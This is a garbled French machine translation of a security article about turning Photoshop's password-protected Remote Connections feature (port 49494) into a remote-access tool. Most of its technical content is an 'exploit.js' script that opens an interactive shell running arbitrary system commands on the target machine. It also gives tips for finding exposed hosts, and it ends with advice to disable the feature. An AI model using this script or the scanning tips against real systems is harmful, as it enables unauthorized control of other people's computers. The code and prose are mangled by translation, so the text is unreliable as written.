Grâce à la transformation de l'utilisation de la connectivité à distance Photoshop dans cet article, et finalement prendre le contrôle de la connectivité à distance extrémité ouverte Photoshop du système d'exploitation.
Fonction de connexion à distance Photoshop
Photoshop a une option connexion à distance (Connexions à distance) du nom de cette fonction est désactivée par défaut, mais si vous activez la fonction et de définir un mot de passe, celui qui connaît le mot de passe peut accéder à distance à votre ordinateur à Photoshop serveur. Ouvrez l'écran suivant:
utilisateur normal utilise cette fonction pour afficher un aperçu en direct l'apparition de fichier différents styles de PS sur la conception réelle ou comme dispositif mobile à distance iPad, les téléphones fonction de prévisualisation à distance et d'autres terminaux mobiles doivent installer des tiers tels que l'APP PS Playon Skala Preview et autres connecté. Tels que Skala Preview:
L'exemple est basé sur le script JSX de connectivité à distance dans Photoshop. JSX est un script macro Photoshop, écrit par Javascript pour atteindre les fonctions de chargement d'image Photoshop, rendu des couleurs, dessin vectoriel et d'exportation, vous pouvez écrire JSX Cliquez ici pour voir les spécifications et les interfaces disponibles.
En outre, Adobe propose une bibliothèque open source CORE générateur pour établir la connexion à distance, donc si vous êtes intéressé par les détails de l'accord, mais aussi Cliquez ici pour voir. Lors de l'activation des connexions à distance, Photoshop écoute sur le port 49494:
Netstat $ -an | grep 49494 tcp40 0 * 0,49494 *. * LISTENLe code suivant est utilisé avec un code Photoshop serveur distant à l'interaction Authentifier:
= Const de base nécessitent ( "générateur de noyau / lib / générateur") Options const = { hôte: '192.168.1.123', Mot de passe: 'password', Port: 49494 } const = core.createGenerator générateur () generator.start (options) .done (() = > { generator.evaluateJSXString ( 'alert ( "Bonjour")'). puis (() = > generator.shutdown ()) })À cet égard, j'ai essayé de commandes du système d'appel à l'aide de la méthode suivante app.system:
alerte (app.system ( "id"))
Malheureusement, une partie de sa valeur de retour est l'état de sortie, au lieu de la sortie de commande standard. Après la recherche, j'ai trouvé le script JSX dans Photoshop avec une interface d'accès au système, donc de cette façon, nous pouvons mettre le contenu de sa sortie standard (stdout) est redirigée vers un fichier temporaire, après quoi vous pouvez lire le fichier. Comme suit:
var TMPFILE = Folder.temp + 'output.txt'; app.system ( « id > « + TMPFILE); stdout var = new File ($ {TMPFILE}); stdout.open ( 'r'); stdout.encoding = "UTF-8"; teneur en var = stdout.read (); stdout.close (); stdout.remove (); alerte (contenu);moulage de réforme Photoshop RAT
Je peux donc apporter les modifications suivantes dans le code d'authentification ci-dessus, connectez-vous au serveur Photoshop par nom d'utilisateur et le mode de mot de passe, après les scripts JSX réutilisation Interface exécution indirecte des commandes du système de serveur Photoshop, prise en charge directe du système de serveur Photoshop à distance contrôle. Ce qui suit est l'exploit des codes:
exploit.js:
= Const readline exigent ( 'readline') const porte dérobée = require ( "générateur de noyau / lib / générateur") Options const = { hôte: '192.168.0.101', Mot de passe: 'password', Port: 49494, } console.info ( 'Etablissement de la connexion à' + options.host) const = backdoor.createGenerator générateur () generator.start (options) .done (() = > { const rl = readline.createInterface ({entrée: process.stdin, sortie: process.stdout, invite: ' > « }) .on ( 'line', ligne = > { laisser command = line.trim () laisser TMPFILE = `Folder.temp + $ {JSON.stringify (Math.random () + 'txt')}` laisser jsx = ` app.system ( « $ {commande} > « + $ {TMPFILE}); stdout var = new File ($ {TMPFILE}); stdout.open ( 'r'); stdout.encoding = "UTF-8"; teneur en var = stdout.read (); stdout.close (); stdout.remove (); content ` generator.evaluateJSXString (jsx) .puis (output = > { console.log (sortie) rl.prompt () }) }) .on ( 'SIGINT', () = > { console.log ( 'bye') generator.shutdown () rl.close () }) console.log ( 'shell à distance Photoshop') rl.prompt () })Après utilisation réussie, lire le mot de passe du système d'exploitation de serveur distant Photoshop:
Analyse d'impact
Y compris le réseau, vous pouvez scanner le port 49494 ou « _photoshopserver.tcp » DNS multicast Ethereal pour détecter certaines des fonctionnalités de Photoshop ouvrir le serveur de connexion à distance, après avoir utilisé les exploit.js ci-dessus jouer par.
De cette façon, la fonction RAT d'utilisation, Prémisse doit connaître le mot de passe Photoshop services connexion à distance, et ne lui appartient donc pas à la catégorie de vulnérabilité. Sur cette base, s'il vous plaît ouvrir votre connectivité à distance prudente Photoshop ou stricte sauvegarde votre mot de passe de connexion à distance Photoshop, sinon, votre système d'exploitation est probablement contrôle à distance malveillante.
* Référence Source: moyenne, FREEBUF nuages Xiao Bian compilé, reproduit à partir FreeBuf.COM